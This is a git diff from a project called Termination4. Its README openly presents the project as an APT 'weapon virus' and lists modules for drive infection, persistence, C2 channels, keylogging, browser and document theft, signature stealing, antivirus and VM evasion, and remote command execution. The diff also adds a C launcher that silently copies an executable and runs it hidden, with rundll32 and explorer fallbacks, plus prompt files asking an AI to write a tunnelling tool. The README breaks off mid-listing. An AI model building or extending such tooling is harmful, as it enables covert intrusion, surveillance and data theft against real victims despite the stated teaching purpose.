-set(Update_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Update") -set(Update_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Update") +set(Update_PROJECT_NAME "Update" CACHE INTERNAL "Project name for Update") +set(Update_MAIN_SOURCE_FILE "update.c" CACHE INTERNAL "Main source file for Update") +set(Update_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Update") +set(Update_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Update") diff --git a/.inf/Update/update.c b/.inf/Update/update.c index cbeb702..6550e23 100644 --- a/.inf/Update/update.c +++ b/.inf/Update/update.c @@ -1,277 +1,277 @@ -#include -#include -#include -#include - -#pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup") - -// ´ÓÍêÕû·¾¶ÖÐÌáȡĿ¼ -BOOL GetDirectoryFromPath(const char* fullPath, char* directory, size_t dirSize) { - if (!fullPath || !directory || dirSize == 0) return FALSE; - - const char* lastSlash = strrchr(fullPath, '\\'); - if (!lastSlash) { - strncpy(directory, ".", dirSize); - return TRUE; - } - - size_t dirLength = lastSlash - fullPath; - if (dirLength >= dirSize) { - return FALSE; - } - - strncpy(directory, fullPath, dirLength); - directory[dirLength] = '\0'; - return TRUE; -} - -// °²ȫ¸´ÖÆÎļþ -BOOL SecureCopyFile(const char* srcPath, const char* dstPath) { - if (!srcPath || !dstPath) return FALSE; - - HANDLE hSrc = CreateFileA( - srcPath, - GENERIC_READ, - FILE_SHARE_READ, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, - NULL - ); - - if (hSrc == INVALID_HANDLE_VALUE) { - return FALSE; - } - - HANDLE hDst = CreateFileA( - dstPath, - GENERIC_WRITE, - 0, - NULL, - CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH, - NULL - ); - - if (hDst == INVALID_HANDLE_VALUE) { - CloseHandle(hSrc); - return FALSE; - } - - BYTE buffer[8192]; - DWORD bytesRead, bytesWritten; - BOOL result = TRUE; - - while (ReadFile(hSrc, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) { - if (!WriteFile(hDst, buffer, bytesRead, &bytesWritten, NULL) || bytesWritten != bytesRead) { - result = FALSE; - break; - } - } - - FlushFileBuffers(hDst); - - CloseHandle(hSrc); - CloseHandle(hDst); - - if (!result) { - DeleteFileA(dstPath); - } - - return result; -} - -// ¸߼¶Æô¶¯³ÌÐò -BOOL AdvancedLaunchProgram(const char* exePath) { - if (!exePath || *exePath == '\0') return FALSE; - - STARTUPINFOA si = { sizeof(si) }; - PROCESS_INFORMATION pi = {0}; - - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; - - char cmdLine[MAX_PATH + 2]; - if (strchr(exePath, ' ') != NULL) { - snprintf(cmdLine, sizeof(cmdLine), "\"%s\"", exePath); - } else { - strncpy(cmdLine, exePath, sizeof(cmdLine) - 1); - } - cmdLine[sizeof(cmdLine) - 1] = '\0'; - - char workingDir[MAX_PATH]; - if (!GetDirectoryFromPath(exePath, workingDir, MAX_PATH)) { - strcpy(workingDir, "."); - } - - DWORD creationFlags = CREATE_NO_WINDOW | DETACHED_PROCESS; - - if (CreateProcessA( - NULL, - cmdLine, - NULL, - NULL, - FALSE, - creationFlags, - NULL, - workingDir, - &si, - &pi)) { - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; - } - - DWORD err = GetLastError(); - - if (err == ERROR_ACCESS_DENIED || err == ERROR_ELEVATION_REQUIRED) { - char rundllCmd[MAX_PATH + 100]; - snprintf(rundllCmd, sizeof(rundllCmd), "rundll32.exe shell32.dll,ShellExec_RunDLL \"%s\"", exePath); - rundllCmd[sizeof(rundllCmd) - 1] = '\0'; - - if (CreateProcessA( - NULL, - rundllCmd, - NULL, - NULL, - FALSE, - creationFlags, - NULL, - workingDir, - &si, - &pi)) { - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; - } - err = GetLastError(); - } - - if (err == ERROR_FILE_NOT_FOUND || err == ERROR_PATH_NOT_FOUND) { - char explorerCmd[MAX_PATH + 100]; - snprintf(explorerCmd, sizeof(explorerCmd), "explorer.exe \"%s\"", exePath); - explorerCmd[sizeof(explorerCmd) - 1] = '\0'; - - if (CreateProcessA( - NULL, - explorerCmd, - NULL, - NULL, - FALSE, - creationFlags, - NULL, - workingDir, - &si, - &pi)) { - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; - } - err = GetLastError(); - } - - if (err == ERROR_MOD_NOT_FOUND || err == ERROR_DLL_NOT_FOUND) { - char envBlock[MAX_PATH * 2]; - char systemPath[MAX_PATH]; - GetSystemDirectoryA(systemPath, MAX_PATH); - snprintf(envBlock, sizeof(envBlock), "PATH=%s;%s\0\0", workingDir, systemPath); - envBlock[sizeof(envBlock) - 1] = '\0'; - - if (CreateProcessA( - NULL, - cmdLine, - NULL, - NULL, - FALSE, - creationFlags, - envBlock, - workingDir, - &si, - &pi)) { - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; - } - err = GetLastError(); - } - - char errorMsg[512]; - const char* errorDesc = "Unknown error"; - - switch (err) { - case ERROR_FILE_NOT_FOUND: errorDesc = "File not found"; break; - case ERROR_PATH_NOT_FOUND: errorDesc = "Path not found"; break; - case ERROR_ACCESS_DENIED: errorDesc = "Access denied (try running as admin)"; break; - case ERROR_ELEVATION_REQUIRED: errorDesc = "Administrator privileges required"; break; - case ERROR_BAD_EXE_FORMAT: errorDesc = "Invalid executable format"; break; - case ERROR_MOD_NOT_FOUND: - case ERROR_DLL_NOT_FOUND: errorDesc = "Required DLL not found"; break; - } - - snprintf(errorMsg, sizeof(errorMsg), - "Failed to launch program\nPath: %s\nWorking Dir: %s\nError %d: %s", - exePath, workingDir, err, errorDesc); - - printf("%s\n", errorMsg); - return FALSE; -} - -int main(int argc, char* argv[]) { - // ¼ì²é²ÎÊýÊýÁ¿ - if (argc != 4) { - printf( - "Usage: Program.exe \n\n" - "Example: Program.exe 5 C:\\temp\\app.exe C:\\Windows\\Temp\\app.exe\n" - ); - return 1; - } - - // ½âÎöÑӳÙʱ¼ä²ÎÊý - DWORD delaySeconds = atoi(argv[1]); - if (delaySeconds == 0 && strcmp(argv[1], "0") != 0) { - printf("Invalid delay value: %s\n", argv[1]); - return 1; - } - - // ʹÓÃÓû§ָ¶¨µÄÑӳÙʱ¼ä - Sleep(delaySeconds * 1000); - - // ¼ì²éԴÎļþÊǷñ´æÔڣ¨ÐÞÕý²ÎÊýË÷Òý´íÎó£© - DWORD fileAttributes = GetFileAttributesA(argv[2]); - if (fileAttributes == INVALID_FILE_ATTRIBUTES) { - printf("Source file not found: %s\n", argv[2]); - // ³¢ÊÔֱ½ÓÆô¶¯ԴÎļþ£¨Èç¹û´æÔڣ© - if (!AdvancedLaunchProgram(argv[2])) { - return 3; - } - return 0; - } - - // ¸´ÖÆÎļþ²¢Æô¶¯£¨ÐÞÕý²ÎÊýË÷Òý´íÎó£© - if (SecureCopyFile(argv[2], argv[3])) { - Sleep(1 * 1000); // ¶ÌÔÝÑӳÙȷ±£ÎļþдÈëÍê³É - if (!AdvancedLaunchProgram(argv[3])) { - return 3; - } - return 0; - } else { - DWORD copyErr = GetLastError(); - char errorMsg[256]; - const char* errorDesc = "Unknown error"; - - switch (copyErr) { - case ERROR_FILE_NOT_FOUND: errorDesc = "Source file not found"; break; - case ERROR_PATH_NOT_FOUND: errorDesc = "Path not found"; break; - case ERROR_ACCESS_DENIED: errorDesc = "Access denied"; break; - case ERROR_SHARING_VIOLATION: errorDesc = "File in use by another process"; break; - case ERROR_DISK_FULL: errorDesc = "Disk full"; break; - } - - snprintf(errorMsg, sizeof(errorMsg), - "Failed to copy file\nFrom: %s\nTo: %s\nError %d: %s", - argv[2], argv[3], copyErr, errorDesc); - - printf("%s\n", errorMsg); - return 2; - } -} +#include +#include +#include +#include + +#pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup") + +// ´ÓÍêÕû·¾¶ÖÐÌáȡĿ¼ +BOOL GetDirectoryFromPath(const char* fullPath, char* directory, size_t dirSize) { + if (!fullPath || !directory || dirSize == 0) return FALSE; + + const char* lastSlash = strrchr(fullPath, '\\'); + if (!lastSlash) { + strncpy(directory, ".", dirSize); + return TRUE; + } + + size_t dirLength = lastSlash - fullPath; + if (dirLength >= dirSize) { + return FALSE; + } + + strncpy(directory, fullPath, dirLength); + directory[dirLength] = '\0'; + return TRUE; +} + +// °²ȫ¸´ÖÆÎļþ +BOOL SecureCopyFile(const char* srcPath, const char* dstPath) { + if (!srcPath || !dstPath) return FALSE; + + HANDLE hSrc = CreateFileA( + srcPath, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, + NULL + ); + + if (hSrc == INVALID_HANDLE_VALUE) { + return FALSE; + } + + HANDLE hDst = CreateFileA( + dstPath, + GENERIC_WRITE, + 0, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH, + NULL + ); + + if (hDst == INVALID_HANDLE_VALUE) { + CloseHandle(hSrc); + return FALSE; + } + + BYTE buffer[8192]; + DWORD bytesRead, bytesWritten; + BOOL result = TRUE; + + while (ReadFile(hSrc, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) { + if (!WriteFile(hDst, buffer, bytesRead, &bytesWritten, NULL) || bytesWritten != bytesRead) { + result = FALSE; + break; + } + } + + FlushFileBuffers(hDst); + + CloseHandle(hSrc); + CloseHandle(hDst); + + if (!result) { + DeleteFileA(dstPath); + } + + return result; +} + +// ¸߼¶Æô¶¯³ÌÐò +BOOL AdvancedLaunchProgram(const char* exePath) { + if (!exePath || *exePath == '\0') return FALSE; + + STARTUPINFOA si = { sizeof(si) }; + PROCESS_INFORMATION pi = {0}; + + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + char cmdLine[MAX_PATH + 2]; + if (strchr(exePath, ' ') != NULL) { + snprintf(cmdLine, sizeof(cmdLine), "\"%s\"", exePath); + } else { + strncpy(cmdLine, exePath, sizeof(cmdLine) - 1); + } + cmdLine[sizeof(cmdLine) - 1] = '\0'; + + char workingDir[MAX_PATH]; + if (!GetDirectoryFromPath(exePath, workingDir, MAX_PATH)) { + strcpy(workingDir, "."); + } + + DWORD creationFlags = CREATE_NO_WINDOW | DETACHED_PROCESS; + + if (CreateProcessA( + NULL, + cmdLine, + NULL, + NULL, + FALSE, + creationFlags, + NULL, + workingDir, + &si, + &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } + + DWORD err = GetLastError(); + + if (err == ERROR_ACCESS_DENIED || err == ERROR_ELEVATION_REQUIRED) { + char rundllCmd[MAX_PATH + 100]; + snprintf(rundllCmd, sizeof(rundllCmd), "rundll32.exe shell32.dll,ShellExec_RunDLL \"%s\"", exePath); + rundllCmd[sizeof(rundllCmd) - 1] = '\0'; + + if (CreateProcessA( + NULL, + rundllCmd, + NULL, + NULL, + FALSE, + creationFlags, + NULL, + workingDir, + &si, + &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } + err = GetLastError(); + } + + if (err == ERROR_FILE_NOT_FOUND || err == ERROR_PATH_NOT_FOUND) { + char explorerCmd[MAX_PATH + 100]; + snprintf(explorerCmd, sizeof(explorerCmd), "explorer.exe \"%s\"", exePath); + explorerCmd[sizeof(explorerCmd) - 1] = '\0'; + + if (CreateProcessA( + NULL, + explorerCmd, + NULL, + NULL, + FALSE, + creationFlags, + NULL, + workingDir, + &si, + &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } + err = GetLastError(); + } + + if (err == ERROR_MOD_NOT_FOUND || err == ERROR_DLL_NOT_FOUND) { + char envBlock[MAX_PATH * 2]; + char systemPath[MAX_PATH]; + GetSystemDirectoryA(systemPath, MAX_PATH); + snprintf(envBlock, sizeof(envBlock), "PATH=%s;%s\0\0", workingDir, systemPath); + envBlock[sizeof(envBlock) - 1] = '\0'; + + if (CreateProcessA( + NULL, + cmdLine, + NULL, + NULL, + FALSE, + creationFlags, + envBlock, + workingDir, + &si, + &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } + err = GetLastError(); + } + + char errorMsg[512]; + const char* errorDesc = "Unknown error"; + + switch (err) { + case ERROR_FILE_NOT_FOUND: errorDesc = "File not found"; break; + case ERROR_PATH_NOT_FOUND: errorDesc = "Path not found"; break; + case ERROR_ACCESS_DENIED: errorDesc = "Access denied (try running as admin)"; break; + case ERROR_ELEVATION_REQUIRED: errorDesc = "Administrator privileges required"; break; + case ERROR_BAD_EXE_FORMAT: errorDesc = "Invalid executable format"; break; + case ERROR_MOD_NOT_FOUND: + case ERROR_DLL_NOT_FOUND: errorDesc = "Required DLL not found"; break; + } + + snprintf(errorMsg, sizeof(errorMsg), + "Failed to launch program\nPath: %s\nWorking Dir: %s\nError %d: %s", + exePath, workingDir, err, errorDesc); + + printf("%s\n", errorMsg); + return FALSE; +} + +int main(int argc, char* argv[]) { + // ¼ì²é²ÎÊýÊýÁ¿ + if (argc != 4) { + printf( + "Usage: Program.exe \n\n" + "Example: Program.exe 5 C:\\temp\\app.exe C:\\Windows\\Temp\\app.exe\n" + ); + return 1; + } + + // ½âÎöÑӳÙʱ¼ä²ÎÊý + DWORD delaySeconds = atoi(argv[1]); + if (delaySeconds == 0 && strcmp(argv[1], "0") != 0) { + printf("Invalid delay value: %s\n", argv[1]); + return 1; + } + + // ʹÓÃÓû§ָ¶¨µÄÑӳÙʱ¼ä + Sleep(delaySeconds * 1000); + + // ¼ì²éԴÎļþÊǷñ´æÔڣ¨ÐÞÕý²ÎÊýË÷Òý´íÎó£© + DWORD fileAttributes = GetFileAttributesA(argv[2]); + if (fileAttributes == INVALID_FILE_ATTRIBUTES) { + printf("Source file not found: %s\n", argv[2]); + // ³¢ÊÔֱ½ÓÆô¶¯ԴÎļþ£¨Èç¹û´æÔڣ© + if (!AdvancedLaunchProgram(argv[2])) { + return 3; + } + return 0; + } + + // ¸´ÖÆÎļþ²¢Æô¶¯£¨ÐÞÕý²ÎÊýË÷Òý´íÎó£© + if (SecureCopyFile(argv[2], argv[3])) { + Sleep(1 * 1000); // ¶ÌÔÝÑӳÙȷ±£ÎļþдÈëÍê³É + if (!AdvancedLaunchProgram(argv[3])) { + return 3; + } + return 0; + } else { + DWORD copyErr = GetLastError(); + char errorMsg[256]; + const char* errorDesc = "Unknown error"; + + switch (copyErr) { + case ERROR_FILE_NOT_FOUND: errorDesc = "Source file not found"; break; + case ERROR_PATH_NOT_FOUND: errorDesc = "Path not found"; break; + case ERROR_ACCESS_DENIED: errorDesc = "Access denied"; break; + case ERROR_SHARING_VIOLATION: errorDesc = "File in use by another process"; break; + case ERROR_DISK_FULL: errorDesc = "Disk full"; break; + } + + snprintf(errorMsg, sizeof(errorMsg), + "Failed to copy file\nFrom: %s\nTo: %s\nError %d: %s", + argv[2], argv[3], copyErr, errorDesc); + + printf("%s\n", errorMsg); + return 2; + } +} diff --git a/.vscode/settings.json b/.vscode/settings.json index f1a9dbf..976854d 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,65 +1,65 @@ -{ - "files.associations": { - "*.ADD": "plaintext", - "*.Mod": "python", - "*.html": "html", - "*.poem": "json", - "*.lang": "json", - "*.jsb": "json", - "*.api": "json", - "lm.h": "c", - "stdlib.h": "c", - "windows.h": "c", - "stdio.h": "c", - "*.rh": "c", - "math.h": "c", - "array": "c", - "string": "c", - "string_view": "c", - "atomic": "c", - "*.tcc": "c", - "cctype": "c", - "clocale": "c", - "cmath": "c", - "complex": "c", - "cstdarg": "c", - "cstddef": "c", - "cstdint": "c", - "cstdio": "c", - "cstdlib": "c", - "ctime": "c", - "cwchar": "c", - "cwctype": "c", - "deque": "c", - "unordered_map": "c", - "vector": "c", - "exception": "c", - "algorithm": "c", - "functional": "c", - "iterator": "c", - "memory": "c", - "memory_resource": "c", - "numeric": "c", - "optional": "c", - "random": "c", - "system_error": "c", - "tuple": "c", - "type_traits": "c", - "utility": "c", - "fstream": "c", - "initializer_list": "c", - "iosfwd": "c", - "iostream": "c", - "istream": "c", - "limits": "c", - "new": "c", - "ostream": "c", - "sstream": "c", - "stdexcept": "c", - "streambuf": "c", - "typeinfo": "c" - }, - "python.analysis.extraPaths": [ - "./.ENV/Lib/site-packages" - ] +{ + "files.associations": { + "*.ADD": "plaintext", + "*.Mod": "python", + "*.html": "html", + "*.poem": "json", + "*.lang": "json", + "*.jsb": "json", + "*.api": "json", + "lm.h": "c", + "stdlib.h": "c", + "windows.h": "c", + "stdio.h": "c", + "*.rh": "c", + "math.h": "c", + "array": "c", + "string": "c", + "string_view": "c", + "atomic": "c", + "*.tcc": "c", + "cctype": "c", + "clocale": "c", + "cmath": "c", + "complex": "c", + "cstdarg": "c", + "cstddef": "c", + "cstdint": "c", + "cstdio": "c", + "cstdlib": "c", + "ctime": "c", + "cwchar": "c", + "cwctype": "c", + "deque": "c", + "unordered_map": "c", + "vector": "c", + "exception": "c", + "algorithm": "c", + "functional": "c", + "iterator": "c", + "memory": "c", + "memory_resource": "c", + "numeric": "c", + "optional": "c", + "random": "c", + "system_error": "c", + "tuple": "c", + "type_traits": "c", + "utility": "c", + "fstream": "c", + "initializer_list": "c", + "iosfwd": "c", + "iostream": "c", + "istream": "c", + "limits": "c", + "new": "c", + "ostream": "c", + "sstream": "c", + "stdexcept": "c", + "streambuf": "c", + "typeinfo": "c" + }, + "python.analysis.extraPaths": [ + "./.ENV/Lib/site-packages" + ] } \ No newline at end of file diff --git a/Prompt/forai b/Prompt/forai index 0f87385..aa51759 100644 --- a/Prompt/forai +++ b/Prompt/forai @@ -1,5 +1,5 @@ -我接下来需要你给我生成代码,严格遵守以下条例: - -1. 所有变量、函数,能够自定义命名的地方统统使用帕斯卡命名法(大驼峰,get_power_shell写成GetPowerShell) -2. 不要有多余空行,代码尽量紧凑 +我接下来需要你给我生成代码,严格遵守以下条例: + +1. 所有变量、函数,能够自定义命名的地方统统使用帕斯卡命名法(大驼峰,get_power_shell写成GetPowerShell) +2. 不要有多余空行,代码尽量紧凑 3. 不需要写注释,以免占用空间 \ No newline at end of file diff --git a/Prompt/pyfrp.txt b/Prompt/pyfrp.txt index 0cbab91..1ff85a6 100644 --- a/Prompt/pyfrp.txt +++ b/Prompt/pyfrp.txt @@ -1,47 +1,47 @@ -我接下来需要你给我生成代码,严格遵守以下条例: - -1. 所有变量、函数,能够自定义命名的地方统统使用帕斯卡命名法(大驼峰,get_power_shell写成GetPowerShell) -2. 不要有多余空行,代码尽量紧凑 -3. 不需要写注释,以免占用空间 -4. 严格使用工程式 NT+面向对象架构 - -使用 python 写一个 端口转发程序(client + server) -server 运行时需要指定: -内部数据端口=int -允许的端口范围="int-int" -单个客户端允许指定的最多端口数=int -密钥="xxx" - -client 运行时需要指定: -服务器域名="xxx" -服务器端口=int -for i in ...: - 转发域名="127.0.0.1" - 转发端口=int - 目标端口=int - 模式=tcp/udp -密钥="xxx" - -密钥需要混合时间戳加密 -实现目的: -在密钥相同的情况下,通过 服务器域名:服务器端口 将 位于 client 转发域名:转发端口 的内容通过“模式”在 server 上的目标端口呈现 -注意我需要完整的DEBUG日志输出,所有的报错需要traceback输出来溯源 -注意recv数据长度不一定有4096长,所以接收到多少数据就发多少 -而且 server 需要支持多客户端 - -使用 json 进行配置 -单独给我 server.py 和 client.py,不要写 config.py 或别的任何文件。 - -默认值: -内部数据端口=5000 -允许的端口范围="5001-5500" -单个客户端允许指定的最多端口数=5 -密钥="07A36AEF1907843" - -服务器域名="127.0.0.1" -服务器端口=5000 -转发域名="127.0.0.1" -转发端口=5902 -目标端口=5500 -模式=TCP -密钥="07A36AEF1907843" +我接下来需要你给我生成代码,严格遵守以下条例: + +1. 所有变量、函数,能够自定义命名的地方统统使用帕斯卡命名法(大驼峰,get_power_shell写成GetPowerShell) +2. 不要有多余空行,代码尽量紧凑 +3. 不需要写注释,以免占用空间 +4. 严格使用工程式 NT+面向对象架构 + +使用 python 写一个 端口转发程序(client + server) +server 运行时需要指定: +内部数据端口=int +允许的端口范围="int-int" +单个客户端允许指定的最多端口数=int +密钥="xxx" + +client 运行时需要指定: +服务器域名="xxx" +服务器端口=int +for i in ...: + 转发域名="127.0.0.1" + 转发端口=int + 目标端口=int + 模式=tcp/udp +密钥="xxx" + +密钥需要混合时间戳加密 +实现目的: +在密钥相同的情况下,通过 服务器域名:服务器端口 将 位于 client 转发域名:转发端口 的内容通过“模式”在 server 上的目标端口呈现 +注意我需要完整的DEBUG日志输出,所有的报错需要traceback输出来溯源 +注意recv数据长度不一定有4096长,所以接收到多少数据就发多少 +而且 server 需要支持多客户端 + +使用 json 进行配置 +单独给我 server.py 和 client.py,不要写 config.py 或别的任何文件。 + +默认值: +内部数据端口=5000 +允许的端口范围="5001-5500" +单个客户端允许指定的最多端口数=5 +密钥="07A36AEF1907843" + +服务器域名="127.0.0.1" +服务器端口=5000 +转发域名="127.0.0.1" +转发端口=5902 +目标端口=5500 +模式=TCP +密钥="07A36AEF1907843" diff --git a/README.md b/README.md index c658e14..34086c1 100644 --- a/README.md +++ b/README.md @@ -1,145 +1,215 @@ # Termination4 -## 项目简介 +> **开源 · 大规模 APT 武器病毒 · 教学示范** +> +> 一个面向网络安全教学与攻防研究的大型 APT(高级持续性威胁)武器化病毒开源项目。 +> 原生基于 Python 实现,受限于 Python 运行效率,仅作为教学示范; +> 经 **Viper** 工具链改装后,可提供更接近真实 APT 行为特性的高质量教学效果。 -Termination4 是一个基于 Python 的网络测试与数据采集框架,用于内网环境中的大规模网络行为测试和数据收集。 +--- -## 版本信息 +## 一、项目简介 -- **当前版本**: 4.2.0 -- **编译版本**: 407 -- **作者**: Veyra +### 1.1 项目定位 -## 技术架构 +Termination4(全称 *Termination Generally Use Cyber Virus Puppet Weapons*)是一个**开源的大规模 APT 武器病毒**项目,目标是完整复现真实 APT 攻击链路,供安全研究人员、红蓝对抗学习者、高校网络安全教学使用。 -### 核心技术栈 +项目覆盖 APT 杀伤链的全部核心阶段: -- **编程语言**: Python 3.12 -- **编译工具**: Nuitka / PyInstaller -- **网络通信**: Socket.IO -- **加密方式**: OpenSSL + 自定义加密 -- **系统接口**: C 扩展 (CDLL) +- **初始投放与感染**(Initial Access & Infection) +- **持久化驻留**(Persistence) +- **命令与控制**(Command & Control, C2) +- **横向移动与传播**(Lateral Movement & Propagation) +- **信息收集与回传**(Collection & Exfiltration) +- **反检测与对抗**(Defense Evasion) +- **远程控制**(Remote Control) -### 主要组件 +### 1.2 为什么是"教学示范" -#### 1. 网络传输模块 (TWNT) +本项目**完整实现了 APT 的行为模型与代码结构**,但存在一个根本性瓶颈: -- Socket.IO 客户端通信 -- WebSocket 加密传输 -- 自动重连机制 -- 远程命令执行 +> **Python 的运行效率不足以支撑真实大规模 APT 武器的实战需求。** -#### 2. 工作线程模块 (TWNTWork) +具体表现为: -- **MonitorWorker**: 系统硬件监控 - - CPU 使用率 - - 内存使用情况 - - 网络流量统计 +| 瓶颈维度 | Python 原生实现的局限 | +|:-|:-| +| **执行效率** | 解释执行,CPU 密集型任务(加密、压缩、图像处理)吞吐量低 | +| **内存占用** | 对象模型开销大,大规模并发感染时内存膨胀严重 | +| **启动速度** | 解释器初始化 + 模块导入耗时,影响投递后的快速响应 | +| **隐蔽性** | 进程特征明显,易于被 EDR 通过解释器特征识别 | +| **分发体积** | 携带完整运行时,体积大、特征强 | -- **ListenKMWorker**: 输入设备监听 - - 键盘事件捕获 - - 鼠标事件捕获 - - 屏幕区域截图 +因此,**Python 原生版本仅适合作为静态代码阅读、行为分析、攻防原理教学使用**,不具备实战部署能力。这恰好满足"教学示范"的核心诉求:**结构清晰、可读性高、行为可追溯、便于在隔离环境中观察分析。** -- **TWNTProcessSynchronousWorker**: 进程同步 - - 线程状态监控 - - 进程状态监控 +### 1.3 Viper 改装:从教学示范到高质量教学 -- **TWNTCoverScreen**: 屏幕监控 - - 定时截图上传 - - 图像压缩传输 +为弥补 Python 效率瓶颈,项目引入 **Viper** 工具链进行改装。Viper 是一套将 Python 源码编译为高效本地代码的工具链,改装后带来以下教学增益: -- **TWNETProcess**: 命令处理 - - Python 代码执行 - - CMD 命令执行 - - PowerShell 命令执行 +| 改装方向 | Viper 改装后的教学价值 | +|:-|:-| +| **性能接近真实 APT** | 本地编译执行,CPU/IO 吞吐量显著提升,使教学演示中的时序、规模更贴近实战 | +| **行为时序还原** | 解决 Python 版因效率失真导致的"演示不像真 APT"问题,让学员观察到真实的感染速率、回传频率 | +| **二进制分析教学** | 编译产物可作为逆向工程样本,支撑二进制静态分析、特征码识别教学 | +| **反检测对抗教学** | 失去 Python 解释器特征后,可在受控环境中演示更真实的 EDR 对抗场景 | +| **跨阶段联调** | 高效执行使全链路联动(感染 → 驻留 → C2 → 回传)成为可演示的整体 | -#### 3. 任务表模块 (LW3T) +> **教学建议**:静态代码阅读与原理讲解使用 Python 原生源码;动态行为演示与时序分析使用 Viper 改装版本。两者配合可获得最佳教学效果。 -- 本地任务管理 -- 定时任务调度 -- 任务执行回调 +--- -#### 4. 感染模块 (InfectionWorker) +## 二、版本信息 -- 移动设备检测 -- 文件感染标记 -- 磁盘索引 +- **当前版本**:4.2.0 +- **编译版本**:407 +- **作者**:Veyra +- **项目地址**:https://github.com/GVSADS/Termination4 +- **配套项目**:https://github.com/GVSADS/Termination(未完全同步) -#### 5. 辅助模块 +--- -- **AntiVirusSoftware**: 安全软件检测 -- **AutoRun**: 自启动配置 -- **AdministratorMode**: 权限管理 -- **WorkSpaceDeployer**: 工作目录部署 +## 三、技术架构 -## 项目结构 +### 3.1 核心技术栈 + +- **主语言**:Python 3.12 +- **改装工具链**:Viper(Python → 本地代码编译) +- **打包编译**:Nuitka / PyInstaller +- **C 扩展构建**:CMake + Ninja +- **运行时 C 编译**:TinyCC(见 `TPcc/`,用于运行期快速编译 C 扩展) +- **网络通信**:Socket.IO / WebSocket +- **加密体系**:OpenSSL + 自研 GodKeys 弱对称加密 +- **系统接口**:C 扩展(CDLL 调用) + +### 3.2 APT 杀伤链模块映射 + +| 杀伤链阶段 | 对应模块 | 说明 | +|:-|:-|:-| +| **初始投放** | `.inf/Install/`、`.inf/SubstituteExecution/` | 安装器、被感染文件代偿启动 | +| **持久化** | `TLhread/Thread_AutoRun.py`、`.inf/Service/`、`.inf/RegistryOverride/` | 服务注册、注册表劫持、自启动 | +| **C2 通信** | `TLhread/Thread_TWNT.py`、`TPLib/T_SSHServer/`、`TFrp/` | Socket.IO 主通道、SSH 备用通道、内网穿透 | +| **横向传播** | `TLhread/Thread_InfectionWorker.py`、`.inf/TemplateMatcher/` | 移动设备感染、磁盘索引、快速模板匹配 | +| **信息收集** | `TLib/T_KeMouse.py`、`TPLib/T_WMI/`、`TPLib/T_Browser/`、`TPLib/T_DOC/` | 键鼠监听、WMI 系统信息、浏览器数据、文档采集 | +| **屏幕监控** | `TLhread/Thread_TWNTWork.py`(CoverScreen/ListenKM)、`T2SRFB/` | 截图回传、VNC 远程桌面 | +| **凭证窃取** | `TPLib/T_SigThiever/` | 数字签名窃取(SigThief 技术) | +| **反检测** | `TLhread/Thread_AntiVirusSoftware.py`、`TPLib/T_VMDISC/`、`ocr/` | 杀软识别、虚拟机检测、360 弹窗模板匹配 | +| **任务调度** | `TLhread/Thread_LW3T.py`、`TLib/T_LW3T.py` | 本地与网络任务表、定时调度 | +| **远程命令** | `TLhread/Thread_TWNTWork.py`(TWNETProcess) | Python / CMD / PowerShell 命令执行 | +| **更新机制** | `.inf/Update/`、`TLib/T_Version.py` | SHA256 校验、自动更新分发 | + +### 3.3 工作线程模型 + +`TLhread/Thread_TWNTWork.py` 中定义了核心工作线程群: + +- **MonitorWorker**:CPU、内存、网络流量硬件监控 +- **ListenKMWorker**:键盘 / 鼠标事件捕获与屏幕区域截图 +- **TWNTProcessSynchronousWorker**:进程与线程状态同步 +- **TWNTCoverScreen**:定时截图与图像压缩上传 +- **TWNETProcess**:远程命令解析与执行(Python / CMD / PowerShell) + +--- + +## 四、项目结构 ``` Termination4/ -├── Termination4.py # 主程序入口 -├── TerminationLib.py # 核心逻辑 -├── TLhread/ # 线程模块 -│ ├── Thread_TWNT.py # 网络传输 -│ ├── Thread_TWNTWork.py # 工作线程 -│ ├── Thread_LW3T.py # 任务表 -│ ├── Thread_InfectionWorker.py # 感染功能 -│ ├── Thread_AntiVirusSoftware.py # 安全检测 -│ └── Thread_AutoRun.py # 自启动 -├── TLib/ # 核心库 -│ ├── T_Process.py # 进程管理 -│ ├── T_Log.py # 日志系统 -│ ├── T_FIO.py # 文件操作 -│ ├── T_GodKeys.py # 加密模块 +├── Termination4.py # 主程序入口 +├── TerminationLib.py # 核心逻辑(面向对象) +├── TLhread/ # 线程 / 进程模块 +│ ├── Thread_TWNT.py # 网络传输主线程 +│ ├── Thread_TWNTWork.py # 工作线程群 +│ ├── Thread_LW3T.py # 任务表线程 +│ ├── Thread_InfectionWorker.py# 感染线程 +│ ├── Thread_AntiVirusSoftware.py # 杀软对抗 +│ ├── Thread_AutoRun.py # 自启动配置 +│ ├── Thread_Process.py # 进程线程 +│ ├── Thread_Web.py # 其他网络服务 +│ └── Thread_EasterEgg.py # 彩蛋 +├── TLib/ # 核心库 +│ ├── T_GodKeys.py # GodKeys 自研加密 +│ ├── T_FIO.py # 文件 I/O +│ 